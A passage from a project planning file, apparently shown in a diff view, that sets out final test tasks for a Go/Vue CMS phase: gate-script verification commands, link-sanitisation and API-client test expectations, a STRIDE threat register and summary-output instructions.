<automated>docker info &gt;/dev/null 2&gt;&amp;1 &amp;&amp; bash scripts/check-phase17.sh postgres</automated>
<fails_when>Non-zero exit: no Docker daemon (record NOT RUN), or a Postgres suite in any repository fails, skips or misses a required name.</fails_when>
</verify>
<acceptance_criteria>
- `grep -n "func TestURLTo" ../sm-sitemap-plugin/classes/urlto_test.go`, `grep -n "func TestMenuAPI" ../sm-menu-plugin/menu_api_test.go` and `grep -n "func TestFaqAPI" ../sm-faq-plugin/faq_api_test.go` each print one line.
- `git -C ../sm-sitemap-plugin status --porcelain` prints nothing after the commits, and the SUMMARY lists the unpushed commit range per repository.
</acceptance_criteria>
<done>Every plugin and host behaviour of plans 03 to 05 has a named, gated test.</done>
</task>
<task type="auto" tdd="true">
<name>Task 4: Layer coverage, the complete gate run and the filled validation map</name>
<files>../vue-menu-layer/tests/menuLinks.test.ts, ../vue-menu-layer/tests/client.test.ts, ../vue-faq-layer/tests/client.test.ts, scripts/check-phase17.sh, .planning/phases/17-blog-companions/17-VALIDATION.md</files>
<read_first>../vue-menu-layer/app/utils/menuLinks.ts and client.ts, ../vue-faq-layer/app/utils/client.ts, ../vue-journal-layer/tests/client.test.ts, .planning/phases/17-blog-companions/17-VALIDATION.md, every 17-0N-SUMMARY.md (task IDs, smoke names, NOT RUN suites)</read_first>
<behavior>
- menuLinks: every allowlisted scheme and relative form gives a link; javascript:, JAVASCRIPT:, data:, vbscript: and protocol-relative to a foreign host give text without href; _blank adds rel noopener noreferrer; active matching ignores query, hash and a trailing slash except on /; trail marks ancestors only; an absolute URL is active only on the same host
- clients (both layers): base plus encoded code or slug plus locale; 404 resolves null; other errors reject; the server base is used on the server and the public base in the browser
</behavior>
<action>Per D-18 and the UI-SPEC layer backstop: complete the layer node tests named in the behaviour block, commit them in each layer (no push, no new tag). Append the layer test files to the layers stage. Run `bash scripts/check-phase17.sh --all` (with Docker when available) and record its full output. Fill 17-VALIDATION.md: every row of the Per-Task Verification Map gets the task ID (17-0N-TT), the exact automated command from the gate, File Exists ✅ and the status from the run (✅ green, or NOT RUN for Postgres rows without Docker); add rows for the API, import, layer and host suites; tick the Wave 0 items now delivered (check-phase17.sh, the PHP golden generator, go.work per plugin, the test harnesses); keep the two manual-only rows with the plan 05 human-check reference; set status validated, wave_0_complete true and nyquist_compliant true; Approval with the date. Commit the gate and the map in summercms.go (tests and planning docs in separate commits).</action>
<verify>
<automated>pnpm -C ../vue-menu-layer test &amp;&amp; pnpm -C ../vue-faq-layer test &amp;&amp; bash scripts/check-phase17.sh --all 2&gt;&amp;1 | tail -n 1 | grep -qx 'Phase 17 gate passed' &amp;&amp; grep -q '^nyquist_compliant: true' .planning/phases/17-blog-companions/17-VALIDATION.md</automated>
<fails_when>Non-zero exit: a layer test fails, the gate's last line is not "Phase 17 gate passed", or the validation map is not marked nyquist_compliant true.</fails_when>
</verify>
<acceptance_criteria>
- `grep -c "17-0[1-6]-" .planning/phases/17-blog-companions/17-VALIDATION.md` is at least 12 (every map row carries a task ID).
- `grep -n "wave_0_complete: true" .planning/phases/17-blog-companions/17-VALIDATION.md` prints one line.
- The SUMMARY carries the full --all output, including NOT RUN postgres when no Docker daemon answered.
</acceptance_criteria>
<done>The phase has one green gate, a filled Nyquist map and tests for everything it built.</done>
</task>
</tasks>
<threat_model>
## Trust Boundaries
| Boundary | Description |
|----------|-------------|
| test process → Docker | throwaway Postgres containers |
| gate script → sibling repositories | reads and runs tests in local checkouts |
## STRIDE Threat Register
| Threat ID | Category | Component | Severity | Disposition | Mitigation Plan |
|-----------|----------|-----------|----------|-------------|-----------------|
| T-17-39 | Repudiation (false green) | scripts/check-phase17.sh | high | mitigate | fail-closed detectors for zero-match, skipped and missing required tests; --self-test plants failing output; NOT RUN printed loudly; PHASE17_REQUIRE_POSTGRES for strict runs |
| T-17-40 | Tampering | test fixtures with unsafe HTML and URLs | low | accept | fixtures exist only inside test processes and testcontainers databases; never rendered outside tests |
| T-17-41 | Information Disclosure | test databases and secrets | low | mitigate | tests use testcontainers or GRZYBY_TEST_ADMIN_DSN throwaway databases and the existing test-only secrets; nothing touches shared databases, servers or origins |
| T-17-SC | Tampering | npm/pip/cargo installs | high | mitigate | no new packages; tests run on the lockfiles committed in plans 02 and 05 |
</threat_model>
<verification>
- Task 1: gate self-test and the go, plugins and layers stages.
- Task 2: framework Docker-free suites, admin specs, gate go and admin stages; framework Postgres suites on a Docker host.
- Task 3: plugins stage and the sitemap parity tests; postgres stage on a Docker host.
- Task 4: layer tests, the full gate ending in "Phase 17 gate passed", the validation map marked compliant.
</verification>
<success_criteria>
- SC-5: the new code has unit tests, delivered in the phase's last plan.
- `bash scripts/check-phase17.sh --all` passes; 17-VALIDATION.md is filled and nyquist_compliant true.
</success_criteria>
<output>
Create `.planning/phases/17-blog-companions/17-06-SUMMARY.md` when done, with the tests per repository, the unpushed commit ranges, any fix(17-06) commits (each one that changes production code flagged "needs follow-up release" with its repository and release route, because the plan 02 tag and the plan 05 UAT deploy predate it), the full gate output and the Postgres suites run or NOT RUN.
</output>

Some files were not shown because too many files have changed in this diff Show More